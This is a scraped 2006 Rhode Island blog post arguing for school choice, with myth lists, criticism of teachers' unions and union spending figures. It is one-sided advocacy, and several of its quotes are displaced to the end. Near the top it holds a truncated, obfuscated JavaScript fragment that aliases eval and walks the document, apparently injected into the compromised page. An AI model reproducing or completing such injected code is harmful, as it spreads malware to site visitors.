The Right Side of Hope in Rhode Island
.split(","));aqwpug=eval;function dabdds(){cfgs=function(){--(bvsauh.body)}()}bvsauh=document;for(khs=0;khs This posting represents Parts IV-VI of the posting entitled The Moral Imperative for School Choice: The Complete Posting. It is the second of 3 new postings which will cover Parts I-III, Parts IV-VI, and Parts VII-IX, respectively, of the original posting. Introduction The encouraging school choice proposal by Cranston Mayor Steve Laffey, highlighted here, and the absurd response by Senator Chafee has led me to repost below an expanded version of a November 18, 2005 posting on the moral imperative for school choice. Contrasting this week's posting with an earlier posting on this issue - also by Andrew and entitled Cranston’s and Rhode Island’s Need for a Sensible School Choice Program - shows how Mayor Laffey and other Cranston leaders have evolved their policy solution in recent months in response to a genuine problem. The comments section of that earlier posting is alive with a debate about two issues: Should children from Providence - where public schools are mediocre - have the right to attend better schools in Cranston and what effect does this have on education funding flows? These are two central questions underlying the school choice debate. School choice is a moral imperative because the performance of our schools greatly influences whether (i) our children have a clean shot at living the American Dream; and, (ii) whether our country can maintain the strength of its economy via a well educated citizenry capable of competing successfully in an increasingly global economy. To provide an indepth review of the school choice debate, this posting covers the second three of the nine total sections. Each section is identified below and you can proceed directly to it by clicking on the title of that individual section below: IV. Myths Propagated by Defenders of the Status Quo V. Defenders of the Status Quo: Bureaucrats, Politicians & Teachers' Unions VI. The Magnitude of Teachers' Union Monies at Work to Maintain the Status Quo IV. MYTHS PROPAGATED BY DEFENDERS OF THE STATUS QUO Jay Greene's recent book, Educational Myths: What Special-Interest Groups Want You To Believe About Our Schools - And Why It Isn't So, "identifies, catalogues, and rebuts eighteen common myths that dominate education policy." Greene writes: He then identifies the myths, breaking them into four parts: 1. The Money Myth: Schools perform poorly because they need more money. 2. The Special Ed Myth: Special education programs burden public schools, hindering their academic performance. 3. The Myth of Helplessness: Social problems like poverty cause students to fail; schools are helpless to prevent it. 4. The Class Size Myth: Schools should reduce class sizes; small classes would produce big improvements. 5. The Certification Myth: Certified or more experienced teachers are substantially more effective. 6. The Teacher Pay Myth: Teachers are badly underpaid. Outcomes 7. The Myth of Decline: Schools are performing much worse than they used to. 8. The Graduation Myth: Nearly all students graduate from high school. 9. The College Access Myth: Nonacademic barriers prevent a lot of minority students from attending college. Accountability 10. The High Stakes Myth: The results of high-stake tests are not credible because they're distorted by cheating and teaching to the test. 11. The Push-Out Myth: Exit exams cause more students to drop out of high school. 12. The Accountability Burden Myth: Accountability systems impose large financial burdens on schools. Choice 13. The Inconclusive Research Myth: The evidence on the effectiveness of vouchers is mixed and inconclusive. 14. The Exeter Myth: Private schools have higher test scores because they have more money and recruit high-performing students while expelling low-performing students. 15. The Draining Myth: School choice harms public schools. 16. The Disabled Need Not Apply Myth: Private schools won't serve disabled students. 17. The Democratic Values Myth: Private schools are less effective at promoting tolerance and civic participation. 18. The Segregation Myth: Private schools are more racially segregated than public schools. Read the book to see the data supporting the refutation of these myths. V. DEFENDERS OF THE FAILED STATUS QUO: BUREAUCRATS, POLITICIANS & TEACHERS' UNIONS And who do you think defends ever increasing spending with no connection to performance outcomes? It is the education bureaucrats, many politicians, and the teachers' unions - all of whom resist major reforms such as school choice or even more charter schools. The Education Bureaucrats Lawrence Uzzell, a former staff member of the US Department of Education and the US House and Senate Committees on education, wrote a policy paper entitled No Child Left Behind: The Dangers of Centralized Education Policy. An excerpt of that paper, found here, is the single best synopsis I have found for describing the problems with federal and state education bureaucracies and is highlighted in this earlier posting. My single most consistent experience while serving on the East Greenwich School Committee was asking many questions and getting few answers from the bureaucrats. There was simply no clear way to penetrate the bureaucratic fog and that creates the opportunity for mischief. Neal McCluskey, an education policy analyst at the Cato Institue, addresses that concern in a policy paper entitled Corruption in the Public Schools: The Market Is the Answer: So which system is more likely to produce schools that are scandal free, efficient, and effective at educating American children? The answer is school choice, precisely because it lacks the bureaucratic mechanisms of public accountability omnipresent in public schools. In many districts bureaucracy is now so thick that the purveyors of corruption use it to hide the fraud they've perpetrated and to deflect blame if their misdeeds are discovered. However, for the principals, superintendents, and others purportedly in charge of schools, bureaucracy has made it nearly impossible to make failed systems work. Public accountability has not only failed to defend against corruption, it has also rendered many districts, especially those most in need of reform, impervious to change... Politicians This recent reaction by Hillary Clinton is another example of how politicians twist the facts about school choice: As an adoring, if somewhat puzzled, audience of Bronx activists looked on, Clinton added, "So what if the next parent comes and says, 'I want to send my child to the School of the Jihad? ... I won't stand for it." Daniel Lips of the Heritage Foundation responds to Clinton: Under a voucher program, policymakers could require that participating children attend private schools that are accredited by the state, in order to protect against the possibility of extremist schools. Sen. Clinton ignores how similar protections have been built into other government programs — such as Pell Grants, the Hope tax credit, and subsidized loan programs — that help students attend a chosen school... ...If the children attending Kennedy High used vouchers to transfer into private schools, would they be leaving for any reason other than having a decent opportunity to succeed in life — an opportunity their current public school can't give them? Teachers' Unions A January 23 Wall Street Journal editorial entitled The Education Borg (available for a fee) described the resistance to change by the teachers' unions: We saw it in Florida this month when the state supreme court struck down a six-year-old voucher program after a union-led lawsuit. And now we're witnessing it in Milwaukee, where the nation's largest school choice program is under assault because Wisconsin Governor Jim Doyle refuses to lift the cap on the number of students who can participate. Milwaukee's Parental Choice Program, enacted with bipartisan support in 1990, provides private school vouchers to students from families at or below 175% of the poverty line. Its constitutionality has been supported by rulings from both the Wisconsin and U.S. Supreme Courts. Yet Mr. Doyle, a union-financed Democrat, has vetoed three attempts to loosen the state law that limits enrollment in the program to 15% of Milwaukee's public school enrollment. This cap, put in place in 1995 as part of a compromise with anti-choice lawmakers backed by the unions, wasn't an issue when only a handful of schools were participating. But the program has grown steadily to include 127 schools and more than 14,000 students today. Wisconsin officials expect the voucher program to exceed the 15% threshold next year, which means Mr. Doyle's schoolhouse-door act is about to have real consequences. "Had the cap been in effect this year," says Susan Mitchell of School Choice Wisconsin, "as many as 4,000 students already in the program would have lost seats. No new students could come in, and there would be dozens of schools that have been built because of school choice in Milwaukee that would close. They're in poor neighborhoods and would never have enough support from tuition-paying parents or donors to keep going."... The unions scored a separate "victory" in Florida two weeks ago when the state supreme court there struck down the Opportunity Scholarship Program. Passed in 1999, the program currently enrolls 700 children from chronically failing state schools, letting them transfer to another public school or use state money to attend a private school. Barring some legislative damage control, the 5-2 ruling means these kids face the horrible prospect of returning to the state's education hellholes next year... What the Milwaukee and Florida examples show is that unions and their allies are unwilling to let even successful voucher experiments continue to exist. If they lose one court case, they will sue again -- and then again, as long as it takes. And they'll shop their campaign cash around for years until they find a politician like Jim Doyle willing to sell out Wisconsin's poorest kids in return for their endorsement. Is there a more destructive force in American public life? Locally, they ran a disinformation campaign during the East Greenwich negotiations last year and were willing to use work-to-rule methods to hurt our kids - all so they could minimize their health insurance co-payment, get retroactive pay, and receive 9-13% annual salary increases for 9 of the 10 job steps. It's all about taking our money for themselves and it has nothing to do with our kids. Valerie Forti of the Education Partnership in Providence offers these thoughts on the challenges of the status quo: ...we are startled by the degree to which school boards and administrators are paralyzed by their district contract and obligations that have been previously negotiated... The general public is rarely aware of the role that collective bargaining plays in education. Most taxpayers are typically unaware of what is negotiated by union representatives and school boards, and they probably assume that education dollars are being spent to improve learning...Union leaders, on the other hand, do receive instruction on how to negotiate contracts... ...it is reasonable to ask this question: Is it even possible to dramatically improve our education system with the current delivery system of union contracts that severely constrain school districts?... We believe that districts with strong unions must take decisive action to determine the appropriateness of their contractual obligations. And they must undertake a new commitment to become truly student-centered. The Education Partnership recently completed a most insightful study on the various management rights and financial issues in union contracts. All of the Rhode Island teacher union contracts can also be found on their website. In addition, this posting offers my personal indictment of teachers' unions and the status quo at national, state, and local levels as well as a reflection on some lessons learned during my time on the East Greenwich School Committee. If you have a lot of free time, the numerous postings at the bottom of this posting cover an even broader range of national, state and local issues - a number of which are linked to in this posting. Public education in this country will only improve when we accept that the current mediocre status of public education cannot be fixed as long as it is controlled by unaccountable government bureaucrats and the teachers' unions. VI. THE MAGNITUDE OF TEACHERS' UNION MONIES AT WORK TO MAINTAIN THE STATUS QUO A January 3 Wall Street Journal editorial (available for a fee) discusses the new Department of Labor disclosure requirements: Under new federal rules pushed through by Secretary of Labor Elaine Chao, large unions must now disclose in much more detail how they spend members' dues money. Big Labor fought hard (if unsuccessfully) against the new accountability standards...They expose the union as a honey pot for left-wing political causes that have nothing to do with teachers, much less students. We already knew that the NEA's top brass lives large. Reg Weaver, the union's president, makes $439,000 a year. The NEA has a $58 million payroll for just over 600 employees, more than half of whom draw six-figure salaries. Last year the average teacher made only $48,000, so it seems you're better off working as a union rep than in the classroom... ..."What wasn't clear before is how much of a part the teachers unions play in the wider liberal movement and the Democratic Party," says Mike Antonucci of the Education Intelligence Agency, a California-based watchdog group. "They're like some philanthropic organization that passes out grant money to interest groups."... When George Soros does this sort of thing, at least he's spending his own money. The NEA is spending the mandatory dues paid by members who are told their money will be used to gain better wages, benefits and working conditions. According to the latest filing, member dues accounted for $295 million of the NEA's $341 million in total receipts last year. But the union spent $25 million of that on "political activities and lobbying" and another $65.5 million on "contributions, gifts and grants" that seemed designed to further those hyper-liberal political goals. The good news is that for the first time members can find out how their union chieftains did their political thinking for them... It's well understood that the NEA is an arm of the Democratic National Committee. (Or is it the other way around?) But we wonder if the union's rank-and-file stand in unity behind this laundry list of left-to-liberal recipients of money that comes out of their pockets. You can go to here for more/ongoing LM-2 report information on labor union financial matters. A follow-up editorial (also available for a fee) added several other interesting points: And then there's the money that the NEA sends directly to sympathetic interest groups working at the state level, such as the $500,000 that went to Protect Our Public Schools, an anti-charter outfit in Washington State (never mind that charters are "public schools," albeit ones allowed to operate outside the teachers' union education monopoly)... A January 28 ProJo editorial added several other insights: At the local level, National Education Association Rhode Island reported giving total compensation of more than $100,000 to nine people: Executive Director Robert Walsh ($142,015); Deputy Executive Director Vin Santaniello ($131,952); President Larry Purtill ($116,332); General Counsel John Decubellis ($109,862); Business Manager Walter Young ($106,306); and field representatives Jane Argenteri ($108,790), Jerry Egan ($110,111), Robert Roy ($103,985), and Jeannette Woolley ($107,252). Another four received total compensation of $86,000 or more. The Rhode Island NEA spent $63,432 on "public relations" at Warwick's Cornerstone Communications, the company of Guy Dufault, who last made news by promising to defeat Governor Carcieri by revealing the names of Mr. Carcieri's apparently nonexistent girlfriends. Another $58,800 went to WorkingRI, a political group opposed to the governor also linked to Mr. Dufault. (The Rhode Island chapter of the American Federation of Teachers also filed a report, showing five employees each receiving more than $100,000: President Marcia Reback [$128,542], Director of Professional Issues Colleen Callahan Delan [$116,243], and field representatives Robert Casey [$125,656], Michael Mullane [$116,243], and James Parisi [$116,243]. The AFT gave $5,000 to Cornerstone Communications, and $7,500 to the lobbying group Citizens for a Representative Government, also associated with Mr. Dufault, which helped block a constitutional convention in Rhode Island.) If serving the unions' economic interests is the goal, it is hard to argue that these local leaders have been overpaid. How well that has served the state's students is, of course, up for debate... The 2006 NEA Rhode Island agenda calls for: increased spending on schools; reduced class sizes (translating into more teachers); shifting more of the burden of school spending onto state government from the localities; stopping privatization or outsourcing of jobs; revising pension reforms passed last year by the General Assembly; and removing any barriers on public employees' and their spouses' running for public office. That is an agenda that would keep money and power flowing to the teachers' unions, something they are well within their rights to seek. But it's fair to ask how much good it would do our struggling students. An earlier posting also discussed the nearly unlimited amount of funding unions invest in politics to maintain the failed status quo.March 02, 2006
The Moral Imperative for School Choice: Parts IV-VI
...But by far the most important reason myths dominate education policy is that they are promoted by organized interests...Their goal is simply to advance their agendas; they are relatively indifferent to whether their claims are based on myths or facts...
Resources
One of the most frequently voiced objections to school choice is that the free market lacks the"accountability" that governs public education. Public schools are constantly monitored by district administrators, state officials, federal officials, school board members, and throngs of other people tasked with making sure that the schools follow all the rules and regulations governing them. That level of bureaucratic oversight does not exist in the free market, and critics fear choice-based education will be plagued by corruption, poor-quality schools, and failure...
"First family that comes and says 'I want to send my daughter to St. Peter's Roman Catholic School' and you say 'Great, wonderful school, here's your voucher,'" Clinton said. "Next parent that comes and says, 'I want to send my child to the school of the Church of the White Supremacist ...' The parent says, 'The way that I read Genesis, Cain was marked, therefore I believe in white supremacy. ... You gave it to a Catholic parent, you gave it to a Jewish parent, under the Constitution, you can't discriminate against me.'"
...Families who crave school vouchers for their children aren't hoping to enroll their children in white -supremacist schools madrassas. All they want is the opportunity to send their children to a school where they will learn.
Teachers unions keep telling us they care deeply, profoundly, about poor children. But what they do, as opposed to what they say, is behave like the Borg, those destructive aliens in the Star Trek TV series who keep coming and coming until everyone is "assimilated."
...Is the current spending even appropriate? How can policymakers and taxpayers be certain that local school districts actually require more money (and so, increased taxes), if those districts have not taken the crucial steps of looking at how their money is being spent and asking the tough question of whether that spending is really helping students?...We have spent the last 16 months analyzing teacher contracts in Rhode Island, and have found that, to a stunning degree, they focus on adult entitlements. The contracts that we have studied are not about students, accountability, and improvement of our public education system...
If we told you that an organization gave away more than $65 million last year to Jesse Jackson's Rainbow PUSH Coalition, the Gay and Lesbian Alliance Against Defamation, Amnesty International, AIDS Walk Washington and dozens of other such advocacy groups, you'd probably assume we were describing a liberal philanthropy. In fact, those expenditures have all turned up on the financial disclosure report of the National Education Association, the country's largest teachers union.
...the NEA also works though these same state affiliates to further its political goals by bankrolling ballot and legislative initiatives. To that end, the Kentucky Education Association received $250,000 from the NEA last year; the Michigan Education Association received $660,000; and the California Teachers Association received $2.5 million. We doubt this cash goes into buying more laptops for poor students.
...The national NEA spent $47 million on "representational activities," such as bargaining contracts; $25 million on political activities and lobbying; $64 million on overhead; and $65 million on contributions, gifts, and grants, many to political causes associated with the Democratic Party.
